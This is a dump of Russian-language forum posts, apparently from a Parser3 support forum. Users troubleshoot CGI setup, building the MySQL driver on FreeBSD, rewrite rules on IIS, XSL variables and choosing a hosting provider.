В случае использования CGI-скриптов, корректные пути к CGI-директориям следующие:\
\
URL 	Куда указывает\
http://***/cgi-glob/script.cgi 	/home/cgi-glob/script.cgi\
http://***/cgi/script.cgi 	/home/***/cgi/script.cgi\
http://***/cgi-bin/script.cgi 	/home/***/cgi-bin/script.cgi[/quote]"
"68642","Опечатался. В index.html должна быть строка ^navigation[]\
Вопрос: что я делаю не так?\
Спасибо!"
"68643","Сами они собрать не хотят?"
"68644","К ним пойду если совсем уж труба будет. Сейчас пришла в голову мысль попробовать другую версию, не 3.3.0."
"68645","wget совсем не обязателен.\
можно скачать ручками нужные архивы (подсмотреть их имена в build-...), положить их в каталожку src и тогда wget дже запускаться не будет, будут просто распаковываться архивы (tar.gz)"
"68646","Дада! Я это и имел ввиду (: Тоже попробую."
"68647","Кто ни будь разобрался с тем как можно сделать проверку синтаксиса, автоподстановку тегов и подсвечивание тегов в Dreamweaver CS3?\
Поделитесь..."
"68648","AddHandler parsed-html html \
Action parsed-html /[b]cgi-glob[/b]/parser3.cgi"
"68650","Без Вас никогда бы не догадался заменить cgi-bin на cgi-glob, при том что в официальной документации написано cgi-bin. Спасибо!"
"68660","А ты сперва в .html страничку сверстай, а потом уже на кирпичи раскладывай по файлам .p, .cfg. А редактора, который заточен под файлы парсера я не встречал, может кто и подскажет."
"68661","Верстка в шаблонах сайта выполнена по правилам, построчно.\
Парсер после обработки убирает переводы строк.\
Пробывал в шаблонах и юниксовые и досовые переводы - убирает любые.\
На выходе имеем одну длиннющую строку с html-кодом."
"68662","это фича, описанная в доке, называется \"оптимизация пробельных символов\".\
\
в доке-же описано, как её отключить, если по каким-то причинам она не нужна."
"68664","Ты ж смотришь все равно не на выходной html, а на тот, что вводишь :). И я думаю наоброт вывод одной строкой круто)"
"68665","вообще вывод одной строкой может получиться только в двух случях:\
1. при использовании xml+xslt, с указанием indent=no.\
2. если в конце каждой строки стоит пробел/таб, а лишь потом идёт enter. оптимизация пробельных символов -- это НЕ удаление всех пробельных символов, а оставление лишь первого из нескольких идущих подряд пробельных символов. лично у меня в результирующем html остаются enter-ы, т.к. именно они стоят в конце строк. а вот tab-ы, которыми и делается форматирование, удаляются."
"68666","Напился вчера и постил какую-то дрянь, теперь очень стыдно. Простите."
"68667","Взрослые же люди за свои поступки отвечают, и думают до, а не после."
"68669","\"\
1. не умеешь -- не пей\
2. выпил -- закуси\
3. нажрался -- веди себя прилично\
\"\
\
(c) не знаю чей"
"68670","Был вагон других проблем, но они все решились упорным прозвоном и емылинием в суппорт."
"68673","Показал первое, что под руку попалось поиском.\
Пример нормальный, если человек сам хочет подумать и разобраться в конструкциях регулярок."
"68677","[url=\"http://lh3.ggpht.com/_7RyehRSgxNc/SVs-adnGGZI/AAAAAAAAA2o/fY3_ZBkGuz0/s800/%D0%BE%D1%82%D0%BA%D1%80%D1%8B%D1%82%D0%BA%D0%B0.jpg\"]Поздравляю всех[/url]"
"68678","Вы имеете ввиду taint/untaint?\
Не получается чего-то.\
А проблема в том что я не хочу одной строки. у меня сейчас задача валидировать код, с одной строкой в 20 килобайт мне это довольно сложно. И не только валидировать но и оптимизировать надо."
"68679","[quot]\
Вы имеете ввиду taint/untaint?\
[/quot]\
\
именно\
\
\
[quot]\
Не получается чего-то.\
[/quot]\
\
вы что-то делаете, приводите код, описываете что вы хотели получить и что получили, а после этого вам дают советы.\
\
иначе тут никак."
"68682","[code]\
# пробовал и в 1251\
$request:charset[UTF-8]\
\
$sText[ищем с начала строки максимально длинную lalala последовательность символов с таким условиям, чтобы справа от них был текст lalala.\
\
Конкретно это выражение, наверно, можно упростить. lalala Но у меня более сложное там. Да и не суть важно, так как это тоже выдаёт ошибку.\
\
Также оно проверялось в regexBuddy - всё работало прекрасно.lalala]\
\
^sText.match[^^((?!lalala).)+(lalala)][ig]{$match.2}\
[/code]"
"68685","Все попытки поиска в интернете свелись к тому, что либо не работает у меня, либо жестко привязано к php. Поэтому хочу узнать здесь - кто нибудь делал подобное в связке с парсером? \
http://www.rabota66.ru/vacancy/124093 - добавить в избранное.\
\
Если это сложно для объяснения в двух словах, могу заплатить за реализацию в конкретном проекте.\
\
PS. Уходить в дебри JavaScript ой как не хочется..."
"68687","Эээ... Если Ваш CGI-скрипт запустился, то значит само собой понятно что Apache работает, иначе кто бы его еще запустил?\
Может у них какойнить mod_perl или чтото такое настроено невенро и при запуске CGI-скриптов не интерпретатором а модулем Apache падает\
Нол это уже другйвопрос :-)"
"68688","[code]^void:sql{Update ....}[$.limit(1)]\
called with invalid option[/code]\
\
сделал\
[code]^void:sql{Update .... limit 1}[/code]\
\
Думаю - не правильно что нет возможности воспользоваться первым способом"
"68689","Скажем, в Постгресе такого расширения у команды update нет. Кроме того, семантически $.limit ограничивает количество записей, возвращаемых оператором в Парсер, но void ничего не возвращает. Поэтому в данном случае лучше явно писать запрос для void:sql."
"68690","После того как залил сайт на хост выдает эту ошибку, в чем моя ошибка, подскажите пожалуйста. Спасибо за помощь...\
\
\
The server encountered an internal error or misconfiguration and was unable to complete your request.\
\
Please contact the server administrator, webmaster@site.ru and inform them of the time the error occurred, and anything you might have done that may have caused the error.\
\
More information about this error may be available in the server error log.\
\
Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.\
Apache/2.0.63 (Unix) mod_perl/1.99_17-dev Perl/v5.8.8 PHP/5.2.8 mod_ssl/2.0.63 OpenSSL/0.9.7e-p1 Server at www.site.ru Port 80"
"68691","есть класс\
LS.p\
[code]@CLASS\
LS\
\
@USE\
auth.p\
\
@menu[]\
...\
$auth.user.name[/code]\
\
и auto.p\
[code]@USE\
LS.p\
\
@ls[]\
^if($auth.is_logon){\
   $ls[^LS::load[]]\
   ^ls.menu[]\
}[/code]\
\
почему не получается вывести имя пользователя?\
юзер залогинен и за рамками класса LS всё нормально работает.\
ps: 5 урок не помог."
"68693","он инициализируется в корневом auto.p.\
почему на другие классы эта инициализация не влияет?\
разве правильно будет в каждом новом классе инициализировать заново все другие классы, которые я захочу использовать?\
мне кажется должен быть простой путь."
"68694","... поэтому есть два варианта работы с \"глобальными данными\":\
\
[b]Вариант 1[/b] (правильный).\
\
Все, что используется внутри класса должно явно \"прийти\" в конструктор и должно быть присвоено локальной переменной класса:\
[code]\
@CLASS\
SomeClass\
\
@create[aAuth]\
  $auth[$aAuth]\
\
@menu[]\
  $auth.name\
[/code]\
\
а в auto.p должен быть код который инициализирует необходимые классы:\
[code]\
@USE\
Auth.p\
SomeClass.p\
\
@auto[]\
  $auth[^Auth::create[]]\
  $sc[^SomeClass::create[$auth]]\
\
@main[]\
  ^sc.menu[]\
[/code]\
\
[b]Вариант 2[/b] (плохой)\
\
Глобальные переменные, определенные в auto.p, являются членами неявного [url=http://www.parser.ru/docs/lang/mainclass.htm]класса  MAIN[/url], а значит обращаться к его методам в классе можно с помощью конструкции $MAIN:auth."
"68695","ччёрт, как сложно-то было! я ещё не скоро полностью пойму, как это работает.\
спасибо за помощь!)"
"68697","http://www.parser.ru/faq/install/"
"68699","Первые попытки покрутить парсер.\
\
Рисую хтмл-таблицу.\
Ну, понятное дело, тейбл, а дальше цикл строк/столбцов через .menu и закрывашка таблицы после цикла.\
\
Нарисовал. Посмотрел. И захотелось мне следующим этапом строчки пронумеровать. Добавил в зацикленные действия первую ячейку, стал думать гуманитарной башкой, че писать-то туда.\
\
Чисто ради посмотреть, чё будет, вписываю в эту нумеровочную ячейку следующую ахинею:\
\
$chpok($chpok+1)\
$chpok\
\
Оно работает!\
\
Хотя, казалось бы, если х=х+1...\
\
Я под денвером пока. На хостинге столь же прекрасно работать будет?"
"68700","а без него, с вашими объяснениями, непонятно ровным счётом ничего."
"68701","Смысл поста сводится к тому, что конструкция\
\
[code]$нечто($нечто+1)\
$нечто[/code],\
\
вписанная внутрь перебора [code].menu{}[/code], [b]оказывается[/b], выдает результат в виде последовательности цифр от единицы до конца цикла.\
\
Хотя, казалось бы, принятие за значение переменной её же самой, но с добавленной единицей - математический абсурд.\
\
Я вот только сомневаюсь на всякий случай, будет ли такая конструкция работать вне win32.\
\
\
[code]<table><tr><td ...[/code](строки с заголовками столбцов) [code]... </tr>\
^currentbasket[]\
</table>\
\
\
@currentbasket[]\
^connect[$goodpreview]{\
$pickupgoods[^table::sql{SELECT * \
FROM  `all` \
ORDER BY  `id` ASC \
LIMIT 0 , 99}]}\
^for[findacookie](0;^baseamount[]){\
^if(def $cookie:iwant$findacookie && $cookie:iwant$findacookie > 0){\
^pickupgoods.menu{\
^if($pickupgoods.id == $findacookie){\
$mnozh[$cookie:iwant$findacookie]\
$mnozhit[$pickupgoods.price]\
$presum($mnozh*$mnozhit)            # Тут детский сад откровенный, сори\
^if($mnozh > 0){\
<tr><td>\
[b]$punkt($punkt+1)\
$punkt[/b] <span style=\"margin-left: -0.3em^;\">.</span>\
$delposition[$pickupgoods.id]\
</td><td><a href=\"$pickupgoods.uri\">$pickupgoods.name</a></td><td>$cookie:iwant$findacookie шт.</td><td>$pickupgoods.price руб.</td>\
<td>$presum руб.</td></tr>}{}}{}}\
}{}}[/code]"
"68702","Пустая переменная соответствует в Парсере нулю."
"68703","В used_new_ad.p прописано следующее:\
[code]\
@CLASS\
used_new_ad\
\
@USE\
used.p\
\
@BASE\
used\
[/code]\
\
В корневом auto.p в методе @auto[] уже прописано\
[code]\
$CLASS_PATH[^table::create{path\
/classes\
/classes/used\
}]\
[/code]\
\
На 3.2.1 все работает.\
Заливаю 3.3.0. Выдает ошибку:\
\
[quot]\
use\
Z:/home/klumba/www/classes/used/used_new_ad.p(12:80): used: undefined class in @BASE\
[/quot]\
\
Если в классе used_new_ad.p вместо used.p прописываю полный путь /classes/used/used.p, то все работает и на 3.3.0\
\
Почему так?"
"68704","[quote]Хотя, казалось бы, принятие за значение переменной её же самой, но с добавленной единицей - математический абсурд.[/quote]\
\
Откройте хоть Word'овский Visual Basic Editor и наберите:\
\
[code]Dim i As Integer\
i = i + 1\
MsgBox i ' Выведет единицу\
i = i + 1\
MsgBox i ' Выведет двойку[/code]Не путайте математическое равенство и операцию присвоения."
"68705","а что по вашему такая конструкция должна делать?\
\
P.S. такая конструкция будет продолжать работать обязательно\
P.P.S. в вашем коде вместо упомянутой конструкции, по моему, лучше написать ^pickupgoods.line[]"
"68706","вы поможете, если сделаете bug.zip с вашими файлами auto.p, bug.html, used.p и used_new_ad.p (с минимумом содержимого) и пришлете мне в почту (misha@дальше_догадайтесь_сами)."
"68707","кратное резюме: у вас идеологический косяк в коде, файлы used.p и used_new_ad.p ссылаются друг на друга:\
\
used.p:\
[code]\
@CLASS\
used\
\
@USE\
used_new_ad.p\
\
@print[text]\
<H1>$text</H1>\
[/code]\
\
used_new_ad.p:\
[code]\
@CLASS\
used_new_ad\
\
@USE\
used.p\
\
@BASE\
used\
\
@init[]\
[/code]\
\
а такого быть не должно."
"68708","Из-за того, что парсер3 для фриБСД5.5 отказывается работать на eServere, решил собрать его из исходных кодов (наивный).\
Помогите мне в одном, отстану тут же.\
Куда писать \"cvs -d :pserver:anonymous@cvs.parser.ru:/parser3project login\" вот хоть убей не понимаю.\
Помогите пожалуйста.\
\
[NB] Не программист, просто на локальной машине все получается. Хочу, чтоб и в интернете работало!"
"68709","[quot]\
Помогите мне в одном, отстану тут же.\
[/quot]\
\
в ваш cvs клиент (на freebsd он уже возможно установлен и соотв. команду просто написать в консоле)\
но ведь не отстанете-же :)\
\
вы точно попробовали официальную сборку и сборку, присланную пользователями? просто судя по вопросу (а ответ есть и в яндексе и в гугле) вы вряд ли сами соберёте."
"68712","На eServer стоит freeBSD5.5.\
Установил \"FreeBSD 5.5: Parser 3.2.1sp2 + драйвер MySQL [прислал Андрей Шипилов]\".\
При обращении к мой_сайт/cgi-bin/parser3.cgi выдаёт:\
\"Parser/3.2.1 (compiled on i386-unknown-freebsd5.5)\".\
При обращении к тестовому файлу -- \
\"# Для того, чтобы данный тест заработал, в качестве обработчика документов с данным расширением должен быть установлен parser3, чего сейчас не наблюдается. #\"\
Тех поддержка подозрительно молчит, что вынудило написать сюда.\
\
[NB] до этого пробовал официальную сборку для четвёртой и шестой версии freeBSD."
"68714","При переходе на новый хостинг столкнулся с медленным ответом парсерных сайтов.\
\
Используя Erusage:log, получаю гигантское время формирования ответа, при незначительном чистом времени выполнении кода:\
\
[2009-01-11 13:10:12] 0.0200 10.0456 0 [1704/560] IP /\
[2009-01-11 13:10:56] 0.0190 10.0448 0 [1704/560] IP /\
[2009-01-11 13:11:21] 0.0220 15.3858 0 [1744/524] IP /catalog/\
[2009-01-11 13:11:55] 0.0160 16.8704 0 [1544/44]  IP /company/\
\
При отключении Парсера как обработчика html-страниц, ответ от сервера получаю быстро.\
\
В чем можеть быть проблема?"
"68715","... различных кусков кода. Скорее всего проблема в тех местах, где идет обращение к базе данных."
"68716","Подойдет для начинающих, Грамотная техподдержка и тзывчивый админ. Он устанавливает сам тебе парсер на сайт. Я только заливаю файлы на сайт и все, даже зловещий .htaccess не пришлось заливать, он сам мне его залил.\
кому интересно вот ася 498584111 и мыло info@fetxp.com"
"68717","Точно. Большая задержка при обращениях к базе. Хотя база очень небольшая (хранит структуру папок для навигации по сайту для небольшие новости).\
\
Использую MySQL 5.1, веб-сервер Apache, ОС - Debian Linux.\
\
Подозреваю, что это возникло при смене версии MySQL. Поскольку на одной из предыдущих версий работало достаточно быстро. Я понимаю, что это не форум по MySQL, но может уже сталкивались с таким?"
"68718","... а это может очень сильно замедлять коннект.\
\
http://dev.mysql.com/doc/refman/5.1/en/dns.html"
"68719","[url=\"/forum/?id=60964\"]click[/url]\
\
но я не смог воспроизвести её у себя, а рытьё документации и форумов хотя и принесли какие-то объяснения, но не помогли решить проблему, не смотря на реализацию предлагаемого в последнем драйвере mysql (кратко: согласно последним веяниям, после завершения работы с клиентской библиотекой прикладная программа должна через вызов специальной функции сказать клиентской библиотеке, что мол \"всё, я закончила, больше тебя дёргать не буду\". раньше драйвер парсера этого не делал, в результате, вроде бы могли возникать тормоза).\
\
хотя возможно в вашем случае сделанное поможет решить проблему (у вас вроде linux, а не win32, попробуйте перейти на последний парсер+драйвер).\
\
для проверки можете попробовать выводить текущие значения tv_sec и tv_usec класса status в разные места вашего кода и анализировать результат, но предварительно упростите ваш тестовый файл до минимума."
"68720","Так и есть. \
\
Сделав обращение к базе через UNIX сокет, проблема устранилась.\
\
Думаю, что причина в реверсивных запросах MySQL для получения данных при записи в лог. Сейчас дополнительно буду смотреть."
"68721","Проблема в DNS и name-resolve. Сейчас с этим разбираюсь.\
\
При обращении к базе через сокет, все работает хорошо. \
\
p.s. Парсер использую 3.2.2.\
\
Большое спасибо за ответы! :)"
"68722","[code]\
$file[^file::load[text;$file_name;new_name;$options]]\
[/code]\
\
[quot]\
Получаю ошибку: method of file (stateless_class) accepts maximum 3 parameter(s).\
[/quot]\
\
fixed в cvs head %-)"
"68726","и с Рождеством !!!"
"68728","Есть большая необходимость настроить CMS-ку на Windows-платформе. Там работает IIS и поставить что-то другое никак.\
\
MySQL установлен. Parser тоже. Осталось настроить Mod_Rewrite.\
\
Нашел неплохой модуль-фильтр для ISS, который реализует некое подобие Rewrite: [url=\"http://www.helicontech.com/isapi_rewrite/\"]SAPI_Rewrite[/url] однако, возникли проблемы. Точнее, одна:\
\
Мне нужно реализовать довольно типовое правило:[code]RewriteCond	%{REQUEST_FILENAME}	!-f\
RewriteCond	%{REQUEST_FILENAME}	!-d\
\
#RewriteRule	^(.*)$	/ind_.html?uri=/$1 [QSA,L]\
RewriteRule	^(.*)$	/index.html?uri=/$1 [QSA,L][/code]\
\
Инструкции RewriteCond и RewriteRule в бесплатной версии там работает, однако, т.к. в IIS свои переменные окружения и они отличаются от Apache-вских конструкция:[code]RewriteCond	%{REQUEST_FILENAME}	!-d[/code]\
у меня не пашет.\
\
Вопрос: кто-нибудь сталкивался с такой проблемой и есть ли у кого готовые решения?"
"68729","# Helicon ISAPI_Rewrite configuration file\
# Version 3.1.0.55\
\
RewriteBase /\
\
RewriteCond %{SCRIPT_FILENAME} !-d\
RewriteCond %{SCRIPT_FILENAME} !-f\
\
RewriteRule (.*) /?test=/$1&%{QUERY_STRING} [L]\
\
у меня Helicon ISAPI_Rewrite вот так работает\
на IIS6"
"68730","Вроде, похоже на правду. SCRIPT_FILENAME в списке переменных окружения IIS, по крайней мере, я помню. Версия ISS - 5, но, думаю это не столь важно. Сам Helicon ISAPI_Rewrite работает, т.к. простые базовые примеры из его доки работают."
"68731","В результате выполнения первого урока браузер показывает только пустое табличное поле шириной 100% и высотой с пару пикселей.\
Исходный код страницы при этом такой:\
\
[code]<html>\
<head>\
 <title>mysite</title>\
</head>\
<body>\
 <table width=\"100%\" border=\"1\">\
  <tr>\
   <td align=\"center\">\
    <a href=\"\"><nobr></nobr></a>\
   </td>\
   <td align=\"center\">\
    <a href=\"\"><nobr></nobr></a>\
   </td>\
   <td align=\"center\">\
    <a href=\"/contacts/\"><nobr></nobr></a>\
   </td>\
   <td align=\"center\">\
    <a href=\"\"><nobr></nobr></a>\
   </td>\
   <td align=\"center\">\
    <a href=\"/gbook/\"><nobr></nobr></a>\
   </td>\
  </tr>\
 </table>\
</body>\
</html>[/code]\
\
Т.е. почему-то часть столбцов uri сюда не попадает, а name выводиться отказываются в принципе.\
Файл sections.cfg создан в блокноте руками, с табами и ентерами (правда табов выходит местами не один, а два, т.к. иначе сливаются стобцы).\
auto.p скопирован и руками расставлены табуляции для удобства чтения."
"68732","Простите дурака, всё понял. Дело было в двойных табах. Каюсь, посыпаю голову пеплом."
"68733","Есть XML ка, мы ее загружаем, добавляем еще один тег с помощью DOM м сохраняем\
\
	$xdoc[^xdoc::load[/templates/${local}.xml]]\
	$listNew[^xdoc.select[/document]]\
	$node[$listNew.0]				\
	$ele[^xdoc.createElement[$field]]\
	$text[^xdoc.createTextNode[$content]]\
	$nnode[^node.appendChild[$ele]] \
	^nnode.appendChild[$text]\
	^xdoc.save[/templates/${local}.xml]\
\
при этом после добавленного тега в XML-ке нет переноса строки и получается если мы будем добавлять несколько тегов то они сольются в одну строчку что не очень удобно потом просматривать и редактировать в тексовом редакторе. Как сделать чтоб после каждого тега вставлялся перенос строки? чтобы XML ка сохранялась в читабельном виде?"
"68734","В официальной документации так написно потому что имеется в виду что исполняемый файл парсера будет лежать в cgi-bin на этом же хосте\
А cgi-glob это денвероский алиас для общих cgi программ\
Вообьзе парсер можно класть куда угодно, главное не забыть сделать Options +ExecCGI в той папке де он лежит, и прописать обработчики Apachr"
"68735","Добрый вечер.\
Люди добрые! Столкнулся с проблемой грамотного вывода навигации в xml.\
Поделитесь наработками пожалуйста.\
\
Спасибо заранее.\
\
PS Решение - скопировал и работает не требуется - просто нужна основа"
"68736","Простенький метод основан на алгоpитме П. Хpистова в модификации Дымченко и Ваpсанофьева с небольшими исправлениями.\
\
[code]@autoHyphen[str][locals]\
$hyp[&shy^;]\
$A[а-яё]\
$G[аеёиоуыэюя]\
$S[бвгджзклмнпрстфхцчшщ]\
$X[йъь]\
$result[$str]\
$result[^result.match[([$X])([$A][$A])][ig]{${match.1}${hyp}$match.2}]\
$result[^result.match[([$G][$S][$S])([$S][$S][$G])][ig]{${match.1}${hyp}$match.2}]\
$result[^result.match[([$G][$S][$S])([$S][$G])][ig]{${match.1}${hyp}$match.2}]\
$result[^result.match[([$G][$S])([$S][$S][$G])][ig]{${match.1}${hyp}$match.2}]\
$result[^result.match[([$S][$G])([$S][$G])][ig]{${match.1}${hyp}$match.2}]\
$result[^result.match[([$G][$S])([$S][$G])][ig]{${match.1}${hyp}$match.2}]\
$result[^result.match[([$S][$G])([$G][$A])][ig]{${match.1}${hyp}$match.2}][/code]\
\
Каменты к коду не пишу, код говорит сам за себя."
"68738","Буквально только ято прочитал про [url=\"http://arturi.habrahabr.ru/blog/49120/\"]Переносы с помощью CSS и JS[/url] и вот, более простое решение.\
\
Спасибо"
"68739","но обычно люди используют редакторы, которые умеют делать форматирование xml-я."
"68741","Знаете пару раз встречал такое что некоторые приложения Linux при работе с Apache в CGI-режиме при обращении к ним напрямую ввдают ошибку (Разуеемся имеется в виду что все права разрешения и настроцйки выставлены) по если поставить на него AddHandler то все работает\
Кстати недавно такео было с PHP4 в CGI-режимте на Linuxе удивительная кстати ошибка оказщыываается PHP4 при обращении к нему напрямую пытался обработать свой исполняемый файл ичто конеяно же выдавало ошибку :-)"
"68743","На сервере установлен Parser/3.3.0 (compiled on i686-pc-linux-gnu)\
(http://www.cio.arcticsu.ru/cgi-bin/parser3.cgi)\
\
Админ установил Parser, скомпилированный в Safe-mode. Все вноде работает, однако, сегодня обратил внимание, что неправильно обрабатываются XSL-шаблоны - не правильно работают переменные. Точнее, они работают только, если переменные объявлять за пределами шаблонов, т.е.:\
[b]Это работает:[/b]\
[code]\
<xsl:stylesheet>\
	<xsl:variable name=\"variable\">Value</xsl:variable>\
	<xsl:template match=\"/node()\">\
		<xsl:value-of select=\"$variable\"/>\
	</xsl:template>\
</xsl:stylesheet>\
[/code]\
\
[b]А это нет:[/b]\
[code]\
<xsl:stylesheet>\
	<xsl:template match=\"/node()\">\
		<xsl:variable name=\"variable\">Value</xsl:variable>\
		<xsl:value-of select=\"$variable\"/>\
	</xsl:template>\
</xsl:stylesheet>\
[/code]"
"68745","сайт fetxp.com\
хост не из самых дешевых, но качество и обслуживание того стоит"
"68746","Краткое содержание первой серии:\
\
Система FreeBSD bix.hc.ru 5.4-RELEASE-p13 FreeBSD 5.4-RELEASE-p13\
К ней замечательно подходит собранная версия Parser для FreeBSD 4.x. Но не подходит драйвер MySQL. То-есть он работает, но при этом забирает 70%-80% ресурсов и в итоге валится прямо на тестовой странице.\
\
Безрезультатно перепробованы все возможные и невозможные варианты libparser3mysql.so.\
\
Сборка из исходников вначале не получается. Затем, с грехом пополам и отчаянным поиском по форуму, сборка таки как-то происходит при помощи gmake, причём нормально собирается только версия 3.2.3. В версии 3.3.0 удаётся собрать только libparser3mysql.so, который не работает. В тестовом файле пишет\
[code]can't open the module\
[b]$sqldriversdir/libparser3mysql.so[/b][/code]\
\
С \"нормально собранной\" версией 3.2.3 и ейным libparser3mysql.so, абсолютно такая-же петрушка.\
\
В логах никаких ошибок не наблюдается. Что и где надо смотреть? Без MySQL жизни нет."
"68748","[quot]\
Но не подходит драйвер MySQL.\
[/quot]\
\
драйвер mysql -- примитивнейшая вешь, которая занимается всего-лишь вызовом функций клиентской библиотеки и банальным разбором результатов, чтобы возвратить их в виде парсерных типов данных.\
\
т.е. мне кажется, что вы копаете не в ту сторону, и даже если всё соберёте на месте, то эту проблему вы не решите.\
\
мне кажется, что нужно искать корректную версию клиентской библиотеки для вашей ОС (о которой в вашем сообщении вообще нет упоминаний).\
\
P.S. расскажите подробнее о том, как вы собираете mysql-драйвер"
"68749","... libmysqlclient.so лежит себе в /usr/local/mysql. Вернее ссылка на libmysqlclient.so.14. Там есть ещё libmysqlclient_r.so.14, но когда я подставляю его в auto.p, получаю 500.\
\
Видимо надо пробовать собрать самостоятельно."
"68750","... попробовал разные библиотеки из портов (http://www.parser.ru/forum/?id=57923), ничего не подходит ):"
"68751","Собирал вот так:\
[code]./configure --prefix=$HOME/mysql --with-client-ldflags=-all-static --with-low-memory --without-server\
gmake\
gmake install[/code]\
\
Всё равно работает через пень колоду. Ну, забирает кучу ресурсов и в итоге валит в 500-ю."
"68752","только при сборке укажите путь к той include-директории, которая использовалась вами при сборке клиентской библиотеки.\
\
P.S. а с чего вы взяли, что виновата либа/драйвер? как вы это увидели?"
"68753","Драйвер вот сейчас пытаюсь собрать как вы посоветовали, указав include от клиентской библиотеки.\
\
Как увидел что виноваты либа/драйвер? Может и не они конечно, а ситуация следующая: как только в тестовом файле выполняется\
[code]^int:sql{SELECT 2+2}[/code]\
[i]top[/i] показывает 50%-ную загрузку системы и выполнение подвисает, секунд на 30-40. При этом в броузер выводится результат операции, но дальнейшее выполнение останавливается с ошибкой 500."
"68754","Собрал драйвер. Проблем при сборке не было. В итоге пишет в тестовом файле:\
[code]can't open the module\
$sqldriversdir/libparser3mysql.so[/code]\
Всё лежит на своих местах. Пойду разобью голову об стену."
"68755","У меня всё стоит стандартно, без каких-либо изменений. Никакие либы не пересобирал."
"68757","А у вас ваши сайты наверное на другой системе? Думаю уже имеет смысл обращаться в суппорт, только не знаю как их лучше замотивировать (: Страсть не люблю с суппортом общаться. Дам ссылку на этот тред что-ли..."
"68758","[code]$HOME/parser3project/src[/code]\
тут лежат \"внешние файлы\"\
[code]$HOME/parser3project/parser3[/code]\
тут, собственно, исходники Парсера\
[code]$HOME/parser3project/sql/mysql[/code]\
тут исходники libparser3mysql\
[code]$HOME/mysql/mysql-4.1.22/include[/code]\
тут include от libmysqlclient\
\
Сначала собираю Парсер при помощи\
[code]\
$ cd $HOME/parser3project/parser3\
$ ./buildall-without-xml[/code]\
чтоб побыстрее.\
\
Потом драйвер:\
[code]\
$ cd $HOME/parser3project/sql/mysql\
configure --prefix=$HOME/parser3install --includedir=$HOME/mysql/mysql-4.1.22/include\
[/code]\
\
Всё прекрасно собирается. Только не работает потом ): И, да, версия MySQL у хостера 4.1.18, исходников именно 4.1.18 нигде не нашёл. Может из-за этого такая петрушка? Что-то мне не верится.\
\
Такое ощущение, что дело в чём-то совершенно очевидном и простом, только я никак не могу понять, в чём ):"
"68760","- перед сборкой драйвера парсер собирать не обязательно, там важен лишь путь кажется к одному файлу. у вас расположение каталожек правильное, соотв. нужный include должен найтись. к тому-же вы говорили, что парсер у вас не собирается, для чего тогда вы вообще запускали ./build...?\
\
- по умолчанию нужные include-ы mysql-я отсутствуют и они появляются кажется лишь после configure mysql или либы (последнее я не проверял).\
\
- в log-е проверьте, этот ли путь к include-ам mysql-я действительно использовался при сборке драйвера\
\
- не думаю, что проблема из-за разницы версий mysql-я. клиентская либа меняется не так часто, и если бы они вдруг меняли API, они наверняка бы сменили что-нить кроме минорной цифры в версии mysql-я\
\
- можно попробовать ручками повторить комманду сборки драйвера, чтобы принудительно заставить его собраться static (кажется с этим на freebsd до сих пор проблемы). или, другой вариант, как рекомендует Sumo, использовать ключ --with-dynamic-stdcpp при сборке _parser_. важно: и дррайвер и parser оба должны быть собраны одинаково: или оба static или оба dynamic (мы собираем static, понять как собрался доайвер можно по размеру, если я не ошибаюсь, то dynamic получается в районе 30 КБ, а static в районе 60 КБ. после strip конечно)\
\
P.S. для сборки драйвера в static на freebsd надо:\
./configure ...\
make\
\
копируем последнюю выданную строку и добавляем в неё перед '-o .libs/...' следующее:\
'-Wl,-Bstatic -lstdc++ -Wl,-Bdynamic'\
\
хотя я не особый спец в этом, возможно с gmake нужен другой бубен."
"68763","Озадачен выбором сабжа для клиента.\
Есть ли у кого какой опыт в этом плане? Клиент - городская администрация. Денег не сильно много (на свой сервер не хватит), но нужен хороший аптайм сервера.\
\
Есть у кого какие советы?"
"68764","Мастерхост — 3 года успешного сотрудничества.\
http://masterhost.ru/service/hosting/vps/unix/"
"68765","Админы ведь ленивые. Клепают всё с одного образа, так что совпадение систем очень возможно. \
Единственно чем могу помочь, выслать свою либу MySql Возможно поможет.\
Суппорт в РБК тугой, дня по 2-3 всё делает :) так что нужно терпение."
"68766","ещё вы можете попробовать сделать так, чтобы support-у было просто вам помочь: разложите исходники парсера как надо (release, НЕ head), скачайте и положите в нужные места дистрибутивы либ (не распаковывайте), подготовьте (но не запускайте сборку!), далее объясните вашу проблему: что вам нужно собрать, но у вас не хватает памяти и попросите пойти и пустить ./build... под пользователем, у которого нет подобного ограничения.\
\
они ленивые, да... но если сделать это просто (зашел, пустил и всё) -- скорее всего сделают, причём возможно достаточно быстро."
"68767","на mardong@yandex.ru"
"68768","Памяти не хватало для сборки MySQL целиком (: Для парсера и библиотек - хватает."
"68770","У городской администрации 100% на сайт деньги есть. Знаю это, т.к. лично имел опыт разработки сайтов для двух городов и знаю что на это им выделяют федеральные деньги.\
\
Другой вопрос - ленивая бухгалтерия, которая может отказываться работать с хостинг-компаниями, не расположенными в городе. У меня, когда я делал сайты для городских школ, сложилась именно такая систуация. Решили просто - с провайдером, к которым были подключены школы, договорились о покупке/установки сервера. Для этих целей вполне подойдет старый пенек, который наверняка завалялся у сис-админа администрации. В перспективе это дешевле и удобнее вплане обслудживания.\
\
Сейчас я лично пользую 1gb.ru. Там не-дешево, но очень адекватная служба поддержки и все решается довольно быстро."
"68771","Это не очень большой подмосковный город. Там нет своих хостинг-компаний. \
На счет денег, то да, выделен бюджет на сайт. Больше уже ни кто не даст. Выделенных денег не хватит на свой сервер. Сервер у знакомого админа Пети не канает, т.к. это чиновники. Потому и vds. \
А отвечать за падающего хостера сосем не хочется. Вот и озадачен поиском кого-нибудь понадежней."
"68774","[b]Огромное спасибо![/b] С вашим драйвером всё пашет. Осталось теперь выяснить, что это было, но тут я пас. Хорошо-бы его ещё как-то в общее пользование, для алчущих типа меня. Спасибо ещё раз."
"68776","Я щас припоминаю что сам то я его брал из раздела \"Прислали пользователи\" или что-то подобное. Но вот чьей он сборки, увы не могу вспомнить."
"68778","1) FirstVDS.\
У них недорогие цены. Из минусов, это то, что если бывали проблемы с сайтом, то я узнавал об этом сам, т.к. компания не рассылала сообщения о падении сервера. Это было очень неудобно.\
Но таких ситуаций было немного.\
\
2) Rusonyx.\
Ушел от туда только из-за цен, нужен был VPS за цены обычного хостинга.\
Сервис хороший.\
Не раз получал сообщения о тех. работах заранее. Были сообщения о том, что пал такой-то сервер, на котором находится ваш сайт. Работают быстро и качественно."
"68780","Думал спросить мнения здешней общественности, она как-то ближе :)"
"68781","Как сделать random чисел но чтобы там небыло нуля ?\
[code]^math:random(37)[/code]\
\
это получаеться от 0 до 36\
а как сделать от 1 до 36  ???\
---------------------------\
